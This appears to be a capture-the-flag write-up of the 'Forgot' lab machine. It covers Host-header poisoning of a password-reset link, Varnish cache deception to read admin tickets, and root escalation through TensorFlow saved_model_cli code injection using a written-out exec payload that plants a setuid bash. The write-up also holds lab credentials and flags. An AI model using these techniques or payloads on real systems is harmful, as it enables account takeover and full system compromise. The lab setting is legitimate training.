Forgot
Recon
HTTP (80)

└─$ feroxbuster -u 'http://10.129.228.104/' -w /usr/share/seclists/Discovery/Web-Content/common.txt -I .css,.png
200 GET 1l 19w 1838c http://10.129.228.104/static/js/5514032.js
200 GET 246l 484w 5189c http://10.129.228.104/login
200 GET 2l 873w 102052c http://10.129.228.104/static/js/uc.js
200 GET 602l 3373w 303580c http://10.129.228.104/static/js/highcharts.js
200 GET 253l 498w 5227c http://10.129.228.104/forgot
200 GET 246l 484w 5188c http://10.129.228.104/
302 GET 5l 22w 189c http://10.129.228.104/home => http://10.129.228.104/
302 GET 5l 22w 189c http://10.129.228.104/tickets => http://10.129.228.104/
There's a comment about fix by robert-dev-142522
└─$ curl http://10.129.228.104/ -s | grep '<!--'
<!-- Q1 release fix by robert-dev-142522 -->
<!-- IonIcons -->
└─$ curl http://10.129.228.104/forgot -s | grep '<!--'
<!-- IonIcons -->
└─$ curl http://10.129.228.104/tickets -s | grep '<!--'

The link is sent to user's inbox, but there's no way for us to attack or hijack emails as the ports are closed. What we could try is to hijack the urls, IFF someone clicks the link which we ~poison then we can get a callback.
It's possible to inject Host header with new field
└─$ curl http://10.129.228.104/ -H 'Host: 10.10.14.113' -is | grep -E '^(HTTP|<title|Location)'
HTTP/1.1 302 FOUND
Location: http://10.10.14.113
<title>Redirecting...</title>
└─$ curl http://10.129.228.104/tickets -H 'Host: 10.10.14.113' -is | grep -E '^(HTTP|<title|Location)'
HTTP/1.1 302 FOUND
Location: /
<title>Redirecting...</title>
└─$ curl http://10.129.228.104/home -H 'Host: 10.10.14.113' -is | grep -E '^(HTTP|<title|Location)'
HTTP/1.1 302 FOUND
Location: http://10.10.14.113
<title>Redirecting...</title>
└─$ curl http://10.129.228.104/forget -H 'Host: 10.10.14.113' -is | grep -E '^(HTTP|<title|Location)'
HTTP/1.1 404 NOT FOUND
<title>404 Not Found</title>
└─$ curl http://10.129.228.104/forgot -H 'Host: 10.10.14.113' -is | grep -E '^(HTTP|<title|Location)'
HTTP/1.1 200 OK
└─$ curl http://10.129.228.104/forgot?username=robert-dev-142522 -H 'Host: 10.10.14.113'
Password reset link has been sent to user inbox. Please use the link to reset your password
---
└─$ ncat -lvnp 80
Ncat: Connection from 10.129.228.104:35768.
GET /reset?token=%2B4rLQ4COKT94nDjv4q23l9khLR37h73D3EathFWQeW7eshdfNC1%2B1ER7NoobKlqtJKavJqU1BpzNfWyEvct4fA%3D%3D HTTP/1.1
Host: 10.10.14.113
User-Agent: python-requests/2.22.0
Reset the password
Creds:
robert-dev-142522:Password123$

Potential usernames: Luis, Mark, Mario, Diego
The escalated tickets page is disabled, but from frontend. It leads to /admin_tickets
, but no access because of permissions.
The site is using Varnish, which is not exploitable, but it can be influenced to act beneficial to us.
Age: 5810
Via: 1.1 varnish (Varnish/6.2)
It's basically caching the pages so pages are served faster and less resources are wasted, but since it's cached by (mostly) path it will show whatever the first user see or does. If admin visits the /admin_tickets
and then we visit it, we will get cached page and not permission denied. Problem here is that these pages are not cached indicated by Age: 0
, but javascript (/static
) files are cached.
Odd thing is that /tickets/ANYTHING
is rendering /tickets
(???)
Looks like as long as static
is in path it's being cached by Varnish and the weird functionality of showing any routes is beneficial to see Escalated Tickets.
└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets -Is | grep Age
Age: 0
└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets -Is | grep Age
Age: 0
└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets/1 -Is | grep Age
Age: 0
└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets/1 -Is | grep Age
Age: 0
└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets/static/1 -Is | grep Age
Age: 0
└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets/static/1 -Is | grep Age
Age: 1
└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets/2/static -Is | grep Age
Age: 0
└─$ curl -b 'session=264af154-fd19-4d5d-9de3-c2395a7910f6' http://10.129.71.223/tickets/2/static -Is | grep Age
Age: 3
Escalate the ticket with URL like: http://10.129.71.223/admin_tickets/static/letmein

Wait few seconds for bot to visit the URL, if we visit it first it will get cached by us and we don't want that.
After like 20-30 seconds~

I've tried with diego:dCb#1!x0%gjq. The automation tasks has been blocked due to this issue. Please resolve this at the earliest
Creds:
diego:dCb#1!x0%gjq
SSH (22)
└─$ sshpass -p 'dCb#1!x0%gjq' ssh diego@10.129.71.48
diego@forgot:~$ id
uid=1000(diego) gid=1000(diego) groups=1000(diego)
User.txt
diego@forgot:~$ cat user.txt
0e1d37786bf4d785832ff71d62164d1e
Privilege Escalation
Bot code is present in home directory
diego@forgot:~$ cat bot.py
#!/usr/bin/python3
import os
import mysql.connector
import requests
import netifaces as ni
# Fetch Links
conn = mysql.connector.connect(host="localhost",database="app",user="diego",password="dCb#1!x0%gjq")
cursor = conn.cursor()
cursor.execute('select * from forgot')
r = cursor.fetchall()
# Open reset links
for i in r:
try:
requests.get(i[1],timeout=10)
except:
pass
# Open tickets as admin
cursor.execute('select * from escalate')
r = cursor.fetchall()
tun_ip = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
d = requests.post(f'http://{tun_ip}/login',data={'username':'admin','password':'dCvbgFh345_368352c@!'})
cookie = d.headers['Set-Cookie'].split('=')[1].split(';')[0]
for i in r:
try:
print(i[2])
requests.get(i[2],cookies={'session':cookie})
requests.get(i[2],cookies={'session':cookie})
requests.get(i[2],cookies={'session':cookie})
cursor.execute('delete from escalate where link=%s',(i[2],))
conn.commit()
except:
pass
conn.close()
Database is empty, nothing new
diego@forgot:~$ mysql -u diego -p'dCb#1!x0%gjq' app -e 'SHOW DATABASES;'
+--------------------+
| Database |
+--------------------+
| app |
| information_schema |
| performance_schema |
+--------------------+
diego@forgot:~$ mysql -u diego -p'dCb#1!x0%gjq' app -e 'SHOW TABLES;'
+---------------+
| Tables_in_app |
+---------------+
| admin_tickets |
| escalate |
| forgot |
| tickets |
| users |
+---------------+
diego@forgot:~$ mysql -u diego -p'dCb#1!x0%gjq' app -e 'SELECT * FROM users;'
....Known creds
Check sudo
diego@forgot:~$ sudo -l
Matching Defaults entries for diego on forgot:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User diego may run the following commands on forgot:
(ALL) NOPASSWD: /opt/security/ml_security.py
Check permissions in script directory
diego@forgot:/opt/security$ find . -ls
91468 4 drwxr-xr-x 3 root root 4096 Nov 14 2022 .
15524 4 drwxr-xr-x 2 root root 4096 Jul 22 2022 ./lib
15526 4 -rw-r--r-- 1 root root 1482 Jul 9 2022 ./lib/GaussianNB.sav
15529 11508 -rw-r--r-- 1 root root 11783960 Jul 9 2022 ./lib/RandomForestClassifier.sav
15525 88 -rw-r--r-- 1 root root 89314 Jul 9 2022 ./lib/DecisionTreeClassifier.sav
15527 18924 -rw-r--r-- 1 root root 19375012 Jul 9 2022 ./lib/KNeighborsClassifier.sav
15528 80 -rw-r--r-- 1 root root 79195 Jul 9 2022 ./lib/MLPClassifier.sav
15531 52 -rw-r--r-- 1 root root 51534 Jul 9 2022 ./lib/d2v.model
15530 728 -rw-r--r-- 1 root root 741729 Jul 9 2022 ./lib/SVC.sav
38107 8 -rwxr-xr-x 1 root root 5644 Nov 14 2022 ./ml_security.py
diego@forgot:/opt/security$ cat ml_security.py
#!/usr/bin/python3
import sys
import csv
import pickle
import mysql.connector
import requests
import threading
import numpy as np
import pandas as pd
import urllib.parse as parse
from urllib.parse import unquote
from sklearn import model_selection
from nltk.tokenize import word_tokenize
from sklearn.linear_model import LogisticRegression
from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string
np.random.seed(42)
f1 = '/opt/security/lib/DecisionTreeClassifier.sav'
f2 = '/opt/security/lib/SVC.sav'
f3 = '/opt/security/lib/GaussianNB.sav'
f4 = '/opt/security/lib/KNeighborsClassifier.sav'
f5 = '/opt/security/lib/RandomForestClassifier.sav'
f6 = '/opt/security/lib/MLPClassifier.sav'
# load the models from disk
loaded_model1 = pickle.load(open(f1, 'rb'))
loaded_model2 = pickle.load(open(f2, 'rb'))
loaded_model3 = pickle.load(open(f3, 'rb'))
loaded_model4 = pickle.load(open(f4, 'rb'))
loaded_model5 = pickle.load(open(f5, 'rb'))
loaded_model6 = pickle.load(open(f6, 'rb'))
model= Doc2Vec.load("/opt/security/lib/d2v.model")
# Create a function to convert an array of strings to a set of features
def getVec(text):
features = []
for i, line in enumerate(text):
test_data = word_tokenize(line.lower())
v1 = model.infer_vector(test_data)
featureVec = v1
lineDecode = unquote(line)
lowerStr = str(lineDecode).lower()
feature1 = int(lowerStr.count('link'))
feature1 += int(lowerStr.count('object'))
feature1 += int(lowerStr.count('form'))
feature1 += int(lowerStr.count('embed'))
feature1 += int(lowerStr.count('ilayer'))
feature1 += int(lowerStr.count('layer'))
feature1 += int(lowerStr.count('style'))
feature1 += int(lowerStr.count('applet'))
feature1 += int(lowerStr.count('meta'))
feature1 += int(lowerStr.count('img'))
feature1 += int(lowerStr.count('iframe'))
feature1 += int(lowerStr.count('marquee'))
# add feature for malicious method count
feature2 = int(lowerStr.count('exec'))
feature2 += int(lowerStr.count('fromcharcode'))
feature2 += int(lowerStr.count('eval'))
feature2 += int(lowerStr.count('alert'))
feature2 += int(lowerStr.count('getelementsbytagname'))
feature2 += int(lowerStr.count('write'))
feature2 += int(lowerStr.count('unescape'))
feature2 += int(lowerStr.count('escape'))
feature2 += int(lowerStr.count('prompt'))
feature2 += int(lowerStr.count('onload'))
feature2 += int(lowerStr.count('onclick'))
feature2 += int(lowerStr.count('onerror'))
feature2 += int(lowerStr.count('onpage'))
feature2 += int(lowerStr.count('confirm'))
# add feature for ".js" count
feature3 = int(lowerStr.count('.js'))
# add feature for "javascript" count
feature4 = int(lowerStr.count('javascript'))
# add feature for length of the string
feature5 = int(len(lowerStr))
# add feature for "<script" count
feature6 = int(lowerStr.count('script'))
feature6 += int(lowerStr.count('<script'))
feature6 += int(lowerStr.count('<script'))
feature6 += int(lowerStr.count('%3cscript'))
feature6 += int(lowerStr.count('%3c%73%63%72%69%70%74'))
# add feature for special character count
feature7 = int(lowerStr.count('&'))
feature7 += int(lowerStr.count('<'))
feature7 += int(lowerStr.count('>'))
feature7 += int(lowerStr.count('"'))
feature7 += int(lowerStr.count('\''))
feature7 += int(lowerStr.count('/'))
feature7 += int(lowerStr.count('%'))
feature7 += int(lowerStr.count('*'))
feature7 += int(lowerStr.count(';'))
feature7 += int(lowerStr.count('+'))
feature7 += int(lowerStr.count('='))
feature7 += int(lowerStr.count('%3C'))
# add feature for http count
feature8 = int(lowerStr.count('http'))
# append the features
featureVec = np.append(featureVec,feature1)
featureVec = np.append(featureVec,feature2)
featureVec = np.append(featureVec,feature3)
featureVec = np.append(featureVec,feature4)
featureVec = np.append(featureVec,feature5)
featureVec = np.append(featureVec,feature6)
featureVec = np.append(featureVec,feature7)
featureVec = np.append(featureVec,feature8)
features.append(featureVec)
return features
# Grab links
conn = mysql.connector.connect(host='localhost',database='app',user='diego',password='dCb#1!x0%gjq')
cursor = conn.cursor()
cursor.execute('select reason from escalate')
r = [i[0] for i in cursor.fetchall()]
conn.close()
data=[]
for i in r:
data.append(i)
Xnew = getVec(data)
#1 DecisionTreeClassifier
ynew1 = loaded_model1.predict(Xnew)
#2 SVC
ynew2 = loaded_model2.predict(Xnew)
#3 GaussianNB
ynew3 = loaded_model3.predict(Xnew)
#4 KNeighborsClassifier
ynew4 = loaded_model4.predict(Xnew)
#5 RandomForestClassifier
ynew5 = loaded_model5.predict(Xnew)
#6 MLPClassifier
ynew6 = loaded_model6.predict(Xnew)
# show the sample inputs and predicted outputs
def assessData(i):
score = ((.175*ynew1[i])+(.15*ynew2[i])+(.05*ynew3[i])+(.075*ynew4[i])+(.25*ynew5[i])+(.3*ynew6[i]))
if score >= .5:
try:
preprocess_input_exprs_arg_string(data[i],safe=False)
except:
pass
for i in range(len(Xnew)):
t = threading.Thread(target=assessData, args=(i,))
# t.daemon = True
t.start()
preprocess_input_exprs_arg_string(data[i],safe=False)
seems dangerous -> Code injection in saved_model_cli
hello=exec("""\n__import__("os").system("install -m4777 /bin/bash /tmp/rootbash")""") # <script>alert(1)</script>

Root.txt
diego@forgot:/opt/security$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(diego) gid=1000(diego) euid=0(root) groups=1000(diego)
rootbash-5.0# cat /root/root.txt
1670096a58e7608290a3706f10c05669
Last updated